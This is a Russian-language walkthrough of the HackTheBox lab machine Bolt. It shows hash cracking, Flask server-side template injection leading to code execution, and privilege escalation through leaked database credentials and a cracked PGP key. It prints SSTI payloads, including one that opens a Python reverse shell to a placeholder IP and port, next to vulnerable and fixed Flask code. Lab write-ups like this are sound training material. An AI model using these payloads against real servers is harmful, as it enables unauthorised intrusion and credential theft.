Тяжело в учении – легко в бою. Прохождение HTB Bolt

Тяжело в учении – легко в бою. Прохождение HTB Bolt

Тяжело в учении – легко в бою. Мы специально публикуем CTF, которые действительно актуальны на данный момент, чтобы ты, раздолбай, научился ломать ресурсы на тестовых машинах, чтобы потом не оплошать в реальных ситуациях. Ну, это почти как с девушками). И вот, как всегда – актуальная тема. Поехали?

В этой статье мы раз­берем среднюю по сложности машину из HTB – Bolt. На при­мере её про­хож­дения ты научишь­ся экс­плу­ати­ровать SSTI (Server Side Template Injection), брутить PGP ключи и md5 хэши.

Сканирование портов и получение скрытых доменов

IP машины — 10.10.11.114, сразу заносим его в /etc/hosts:

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. 

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap, который мы будем запускать с такими параметрами: 

-T4 – увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте; 

-p- – этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс; 

-A – позволяет обнаружить версию операционной системы и версии установленного ПО; 

-o – аргумент для экспорта результатов в файл. 

Паралельно с nmap запускаем Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), чтобы получить  субдомены. Запускаем, используя команду: 

Gobuster нашёл два субдомена, которые мы добавляем в /etc/hosts: 

Извлечение паролей из архива

Перейдя на mail.bolt.htb мы видим форму авторизации, но паролей у нас пока нет поэтому пропускаем и идём дальше.

На судбомене demo.bolt.htb включена регистрация, но для этого нужно знать инвайт-код, которого у нас пока тоже нет. 

На основном домене есть страница, которая позволяет загружать образ докер контейнера и в нём наверняка есть что-то для нас, поэтому скачиваем и распаковываем:

Создаём папку и с помощью wget скачиваем туда архив, после чего распаковываем используя tar –xf image.tar: 

Внутри будет ещё несколько папок, внутри которые существуют архивы layer.tar, в одном из таких мы находим базу данных (db.sqlite3): 

Подключаемся к этой бд и получаем пароль администратора: 

С помощью hashcat и rockyou.txt брутим хеш: 

Узнать какой режим нужно использовать можно из этой таблицы (в нашем случае это 500): 

Используя логин admin и пароль deadbolt попадаем в панель на основном домене, но она не позволяет загружать файлы или редактировать шаблоны, а значит нужно искать дальше: 

Раскручиваем SSTI в RCE 

Помните про инвайт-код, который необходим для регистрации? Достать его можно всё в том же архиве, для этого используем команду grep –iR –A 2 “invite_code” 2>/dev/null:

Спустя какое-то время grep найдёт код, и мы увидим его в терминале. Теперь можем создать аккаунт на домене demo.bolt.htb (с этими же данными мы можем войти на домен mail.bolt.htb): 

В этой панели гараздо больше функционала, а внизу мы видим надпись AadminLTE Flask, это значит, что бэкэнд написан на Python и можно поискать известные уязвимости. Самой распространенной можно назвать SSTI (Server Side Template Injection), она заключается в том, как Flask обрабатывает html шаблоны. Если описывать без подробностей, то используя “{{ код Python }}” мы можем выполнять системные команды (модуль sysytem, subprocess и тд.). 

Если ввод пользователя никак не фильтруется, то он может отправить такой пейлоад и получить RCE: 

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }} 

Чтобы понять детальнее как и почему это происходит мы создадим простое приложение, которое будет отображать на странице ввод пользователя. 

Пример уязвимого кода:

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
def create_html(user_name): 
    html = f””” 
            <!DOCTYPE html> 
            <html lang=”en”> 
                <head> 
                    <meta charset=”utf-8″ /> 
                    <meta http-equiv=”X-UA-Compatible” content=”IE=edge” /> 
                    <meta name=”viewport” content=”width=device-width, initial-scale=1, shrink-to-fit=no” /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {user_name}</p> 
                </body> 
            </html> 
    “”” 
    return html 
 
 
@app.route(“/”) 
def main(): 
    user_name = request.args.get(“name”, default=None) 
    if user_name: 
        return render_template_string(create_html(user_name)) 
    else: 
        return “Enter name!” 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=”127.0.0.1″)

Перейдя по адресу localhost:8080/?name=Сybersec мы видим простую html страничку, на которой можно увидеть введенные данные: 

Но если мы вставим в параметр “{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}”, то получим имя системного пользователя. Flask понимает, что код, находящийся в скобках {{  }} нужно выполнить и просто делает свою работу: 

Пример исправленного кода: 

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
@app.route(“/”) 
def main(): 
    user_name = request.args.get(“name”, default=None) 
    if user_name: 
        return render_template_string(“”” 
            <!DOCTYPE html> 
            <html lang=”en”> 
                <head> 
                    <meta charset=”utf-8″ /> 
                    <meta http-equiv=”X-UA-Compatible” content=”IE=edge” /> 
                    <meta name=”viewport” content=”width=device-width, initial-scale=1, shrink-to-fit=no” /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {{ user_name }}</p> 
                </body> 
            </html> 
    “””, user_name=user_name) 
    else: 
        return “Enter name!” 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=”127.0.0.1″)

В репозитории PayloadsAllTheThings есть раздел с SSTI, в котором собраны уже готовые пэйлоады.

На странице profile, мы находим поле, куда можно инжектить код. Пока мы точно не знаем какое поле уязвимо, поэтому поменяем команды для каждого из них: 

После нажатия на submit, нас попросят подтвердить изменения через почту, для этого переходим на mail.bolt.htb и заходим со своими данными: 

В поле name я вставлял команду id и именно её нам отображает письмо на почте:

Мы также можем посмотреть версию операционной системы (uname): 

Reverse shell и повышение привелегий

Используя такой пейлоад мы получим реверс шелл (порт и айпи нужно поменять на ваши): 

{% for x in ().__class__.__base__.__subclasses__() %}{% if “warning” in x.__name__ %}{{x()._module.__builtins__[‘__import__’](‘os’).popen(“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”IP\”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/bash\”]);'”).read().zfill(417)}}{%endif%}{% endfor %} 

Если вы всё сделали правильно, то сразу же после подтверждения получите бэкконект:

С помощью команды python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ или /bin/bash -i спавним интерактивный шелл: 

Используя find / -perm -g=w ! -path “/proc/*” ! -path “/sys/*” -group $(groups) -exec ls -lLd {} + мы находим список доступных для записи файлов, которые принадлежат нашей группе (www-data): 

В папке /etc/passbolt находим файл конфигурации с паролями к бд: 

Подключаемся к бд (mysql -D passboltdb -u passbolt -p) и получаем письмо, которое нужно будет расшифровать: 

Список доступных таблиц: 

Смотрим таблицу users, но паролей там не находим: 

Таблица secrets: 

Находим письмо, которое нужно расшифровать, но пока ключа у нас для этого нет, поэтому просто сохраняем себе: 

Флаг user.txt

На этом этапе я завис и долго думал, что делать дальше, но решение оказалось как всегда несколько неочевидным. Из /etc/passwd или из папки /home/ получаем пользователей и пробуем зайти, используя пароль для БД:

Мы также можем использовать ssh: 

Первый флаг: 

Получаем флаг root.txt 

Подключившись через ssh, мы надпись “You have mail”, поэтому проверяем файл /var/mail/eddie:

Пользователь Clark отправил Eddie письмо, в котором рассказал о сервере управления паролями и попросил его сделать резервную копию закрытого ключа. Если мы заглянем в файл журнала (strings “.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log”), то найдем этот ключ: 

Копируем ключ в файл и удаляем строки \r\n командой python3 –c ‘f=open(“pgp_private.txt”, “r”).read();a=f.split(“\\\\r\\\\n”);b=open(“clear_key.txt”, “w”).write(“\n”.join(a))’:

Получаем хеш, который будем брутить используя JohnTheRipper:

Брутим хеш и получаем пароль из хеша:

Теперь импортируем приватный ключ: 

Расшифровываем письмо из БД и получаем пароль: 

Получаем рут: 

Отправляем найденные флаги и на этом прохождение Bolt заканчивается: 

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Комментарии

  1. Вы не знаете с чем может быть связана эта ошибка? Internal Server Error
    The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

    Не могу загрузить пейлоад, поскольку каждый раз, когда хочу подтвердить, возникает эта ошибка.
    Буду очень благодарна за помощь

Leave a Reply

Your email address will not be published. Required fields are marked *